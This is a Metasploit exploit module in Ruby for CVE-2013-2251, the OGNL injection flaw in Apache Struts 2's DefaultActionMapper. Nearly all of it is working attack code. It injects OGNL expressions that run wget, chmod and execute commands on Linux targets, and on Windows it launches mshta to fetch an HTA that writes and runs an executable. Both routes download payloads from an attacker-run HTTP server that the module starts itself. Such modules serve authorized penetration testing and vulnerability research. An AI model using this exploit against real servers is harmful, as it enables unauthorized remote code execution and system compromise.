## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution', 'Description' => %q{ The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms. In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Takeshi Terada', # Vulnerability discovery 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit modules ], 'References' => [ [ 'CVE', '2013-2251' ], [ 'OSVDB', '95405' ], [ 'BID', '61189' ], [ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-016.html' ] ], 'Platform' => %w{linux win}, 'Targets' => [ ['Automatic', {}], [ 'Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultOptions' => { 'WfsDelay' => 10 }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DisclosureDate' => '2013-07-02', 'DefaultTarget' => 0, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_fs_delete_file stdapi_sys_config_getenv ] } }, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Action URI', '/struts2-blank/example/HelloWorld.action']), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]), OptInt.new('PAYLOAD_REQUEST_DELAY', [true, 'Time to wait for the payload request', 5]), # It isn't OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ]) ] ) self.needs_cleanup = true end def on_new_session(session) if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end @dropped_files.delete_if do |file| false unless file =~ /\.exe/ win_file = file.gsub("/", "\\\\") if session.type == "meterpreter" begin wintemp = session.sys.config.getenv('TEMP') win_file = "#{wintemp}\\#{win_file}" session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) session.fs.file.rm(win_file) print_good("Deleted #{file}") true rescue ::Rex::Post::Meterpreter::RequestError print_error("Failed to delete #{win_file}") false end end end super end def start_http_service if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = srv_host + ':' + datastore['SRVPORT'].to_s print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => '/' }, 'ssl' => false # do not use SSL }) return service_url end def check uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET' }) if res.nil? or res.code != 200 vprint_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI") return Exploit::CheckCode::Unknown end proof = rand_text_alpha(6 + rand(4)) res = send_request_cgi({ 'uri' => "#{uri}?redirect:%24{new%20java.lang.String('#{proof}')}", 'method' => 'GET' }) if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/ and res.headers['Location'] !~ /String/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def auto_target uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET' }) if res.nil? or res.code != 200 fail_with(Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200") end proof = rand_text_alpha(6 + rand(4)) res = send_request_cgi({ 'uri' => "#{uri}?redirect:%24{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}", 'method' => 'GET' }) if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/ if res.headers['Location'] =~ /:\\/ return targets[1] # Windows else return targets[2] # Linux end end fail_with(Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work") end def exploit_linux downfile = rand_text_alpha(8 + rand(8)) @pl = @exe @pl_sent = false # # start HTTP service if necessary # service_url = start_http_service # # download payload # fname = datastore['WritableDir'] fname = "#{fname}/" unless fname =~ %r'/$' fname << downfile uri = normalize_uri(target_uri.path) uri << "?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//, "$")}').replace('$','\\u002f')})).start()}" print_status("#{rhost}:#{rport} - Downloading payload to #{fname}...") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res.nil? or res.code != 302 fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end # # wait for payload download # wait_payload register_file_for_cleanup(fname) # # chmod # uri = normalize_uri(target_uri.path) uri << "?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//, "$")}').replace('$','\\u002f')})).start()}" print_status("#{rhost}:#{rport} - Make payload executable...") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res.nil? or res.code != 302 fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end # # execute # uri = normalize_uri(target_uri.path) uri << "?redirect:%24{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//, "$")}').replace('$','\\u002f'))).start()}" print_status("#{rhost}:#{rport} - Execute payload...") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res.nil? or res.code != 302 fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end end def exploit_windows @var_exename = rand_text_alpha(4 + rand(4)) + '.exe' @pl = build_hta @pl_sent = false # # start HTTP service if necessary # service_url = start_http_service # # execute hta # uri = normalize_uri(target_uri.path) uri << "?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'mshta',new%20java.lang.String('http:nn#{service_url}').replace('n','\\u002f')})).start()}" print_status("#{rhost}:#{rport} - Execute payload through malicious HTA...") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res.nil? or res.code != 302 fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end # # wait for payload download # wait_payload register_file_for_cleanup(@var_exename) end def exploit if target.name =~ /Automatic/ print_status("#{rhost}:#{rport} - Target autodetection...") my_target = auto_target print_good("#{rhost}:#{rport} - #{my_target.name} target found!") else my_target = target end p = exploit_regenerate_payload(my_target.platform, my_target.arch) @exe = generate_payload_exe({ :code => p.encoded, :platform => my_target.platform, :arch => my_target.arch }) if my_target.name =~ /Linux/ if datastore['PAYLOAD'] =~ /windows/ fail_with(Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!") end exploit_linux elsif my_target.name =~ /Windows/ if datastore['PAYLOAD'] =~ /linux/ fail_with(Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!") end exploit_windows end end # Handle incoming requests from the server def on_request_uri(cli, request) vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @pl_sent = true send_response(cli, @pl) end def autofilter true end # wait for the data to be sent def wait_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...") waited = 0 while (not @pl_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end sleep(datastore['PAYLOAD_REQUEST_DELAY']) end def build_hta var_shellobj = rand_text_alpha(rand(5) + 5); var_fsobj = rand_text_alpha(rand(5) + 5); var_fsobj_file = rand_text_alpha(rand(5) + 5); var_vbsname = rand_text_alpha(rand(5) + 5); var_writedir = rand_text_alpha(rand(5) + 5); var_origLoc = rand_text_alpha(rand(5) + 5); var_byteArray = rand_text_alpha(rand(5) + 5); var_writestream = rand_text_alpha(rand(5) + 5); var_strmConv = rand_text_alpha(rand(5) + 5); # Doing in this way to bypass the ADODB.Stream restrictions on JS, # even when executing it as an "HTA" application # The encoding code has been stolen from ie_unsafe_scripting.rb print_status("#{rhost}:#{rport} - Encoding payload into vbs/javascript/hta..."); # Build the content that will end up in the .vbs file vbs_content = Rex::Text.to_hex(%Q| Dim #{var_origLoc}, s, #{var_byteArray} #{var_origLoc} = SetLocale(1033) |) # Drop the exe payload into an ansi string (ansi ensured via SetLocale above) # for conversion with ADODB.Stream vbs_ary = [] # The output of this loop needs to be as small as possible since it # gets repeated for every byte of the executable, ballooning it by a # factor of about 80k (the current size of the exe template). In its # current form, it's down to about 4MB on the wire @exe.each_byte do |b| vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n") end vbs_content << vbs_ary.join("") # Continue with the rest of the vbs file; # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent # Then use ADODB.Stream again to write the binary to file. # print_status("Finishing vbs..."); vbs_content << Rex::Text.to_hex(%Q| Dim #{var_strmConv}, #{var_writedir}, #{var_writestream} #{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}" Set #{var_strmConv} = CreateObject("ADODB.Stream") #{var_strmConv}.Type = 2 #{var_strmConv}.Charset = "x-ansi" #{var_strmConv}.Open #{var_strmConv}.WriteText s, 0 #{var_strmConv}.Position = 0 #{var_strmConv}.Type = 1 #{var_strmConv}.SaveToFile #{var_writedir}, 2 SetLocale(#{var_origLoc})|) hta = <<-EOS EOS return hta end end